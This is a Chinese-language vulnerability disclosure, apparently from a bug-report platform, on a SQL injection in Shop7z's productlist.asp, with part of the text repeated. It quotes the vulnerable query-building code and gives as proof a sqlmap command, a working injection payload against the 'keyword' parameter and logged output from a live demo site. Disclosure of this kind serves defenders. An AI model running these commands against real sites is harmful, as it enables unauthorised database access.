### 简要描述: productlist.asp文件注入 ### 详细说明: productlist.asp文件124-146 ``` <% sql_condition=" where updown='1' " if kind<>"" then sql_condition = sql_condition & " and ( kind like '"&kind&"%' or kind2 like '"&kind&"%' ) " end if if cx<>"" then sql_condition = sql_condition & " and good='1' " end if if hot<>"" then sql_condition = sql_condition & " and hot='1' " end if if searchkind<>"" then sql_condition = sql_condition & " and kind like '"&searchkind&"%' " end if if keyword<>"" then sql_condition = sql_condition & " and (model like '%"&keyword&"%' or productname like '%"&keyword&"%' or pipai like '%"&keyword&"%') " end if order_name=" pkid desc " sql="select pkid,model,productname,smallpicpath,price1,price"&session("customkind")&",kindname,pipai,addtime from view_product "&sql_condition&" order by "&order_name ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201409/15184304d50c06974772cb9eecf1a3eca1fb239d.jpg" alt="produce.jpg" width="600"...
### 简要描述: productlist.asp文件注入 ### 详细说明: productlist.asp文件124-146 ``` <% sql_condition=" where updown='1' " if kind<>"" then sql_condition = sql_condition & " and ( kind like '"&kind&"%' or kind2 like '"&kind&"%' ) " end if if cx<>"" then sql_condition = sql_condition & " and good='1' " end if if hot<>"" then sql_condition = sql_condition & " and hot='1' " end if if searchkind<>"" then sql_condition = sql_condition & " and kind like '"&searchkind&"%' " end if if keyword<>"" then sql_condition = sql_condition & " and (model like '%"&keyword&"%' or productname like '%"&keyword&"%' or pipai like '%"&keyword&"%') " end if order_name=" pkid desc " sql="select pkid,model,productname,smallpicpath,price1,price"&session("customkind")&",kindname,pipai,addtime from view_product "&sql_condition&" order by "&order_name ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201409/15184304d50c06974772cb9eecf1a3eca1fb239d.jpg" alt="produce.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/15184304d50c06974772cb9eecf1a3eca1fb239d.jpg) F:\迅雷下载\sqlmap>python sqlmap.py -u "http://www.shop7z.com/demo/productlist.a sp?keyword=1" --tables _ ___ ___| |_ ___ ___ {1.0-dev-nongit-20140911} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 18:48:21 [18:48:21] [INFO] testing connection to the target URL [18:48:21] [INFO] testing if the target URL is stable. This can take a couple of seconds [18:48:23] [INFO] target URL is stable [18:48:23] [INFO] testing if GET parameter 'keyword' is dynamic [18:48:23] [INFO] confirming that GET parameter 'keyword' is dynamic [18:48:24] [INFO] GET parameter 'keyword' is dynamic [18:48:24] [INFO] heuristic (basic) test shows that GET parameter 'keyword' migh t be injectable (possible DBMS: 'Microsoft Access') [18:48:24] [INFO] testing for SQL injection on GET parameter 'keyword' heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft Acces s'. Do you want to skip test payloads specific for other DBMSes? [Y/n] do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1) values? [Y/n] [18:48:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:48:30] [WARNING] reflective value(s) found and filtering out [18:48:31] [INFO] GET parameter 'keyword' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [18:48:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [18:48:31] [INFO] automatically extending ranges for UNION query injection techn ique tests as there is at least one other (potential) technique found [18:48:37] [INFO] checking if the injection point on GET parameter 'keyword' is a false positive [18:49:00] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go ing to retry the request GET parameter 'keyword' is vulnerable. Do you want to keep testing the others (i f any)? [y/N] sqlmap identified the following injection points with a total of 41 HTTP(s) requ ests: --- Place: GET Parameter: keyword Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: keyword=1%' AND 6446=6446 AND '%'=' --- [18:49:04] [INFO] testing Microsoft Access [18:49:04] [INFO] confirming Microsoft Access [18:49:05] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft Access [18:49:05] [INFO] fetching tables for database: 'Microsoft_Access_masterdb' [18:49:05] [INFO] fetching number of tables for database 'Microsoft_Access_maste rdb' [18:49:05] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [18:49:05] [INFO] retrieved: [18:49:05] [WARNING] in case of continuous data retrieval problems you are advis ed to try a switch '--no-cast' [18:49:05] [WARNING] unable to retrieve the number of tables for database 'Micro soft_Access_masterdb' [18:49:05] [ERROR] cannot retrieve table names, back-end DBMS is Access do you want to use common table existence check? [Y/n/q] [18:49:07] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. [18:49:07] [INFO] checking table existence using items from 'F:\????\sqlmap\txt\ common-tables.txt' [18:49:07] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 10 [18:49:08] [INFO] starting 10 threads [18:49:29] [INFO] retrieved: article [18:49:37] [INFO] tried 431/3188 items (14%) [18:49:37] [INFO] waiting for threads to finish (Ctrl+C was pressed) [18:49:37] [WARNING] user aborted during table existence check. sqlmap will disp lay partial output Database: Microsoft_Access_masterdb [1 table] +---------+ | article | +---------+ [18:49:37] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 457 times [18:49:37] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou tput\www.shop7z.com' [*] shutting down at 18:49:37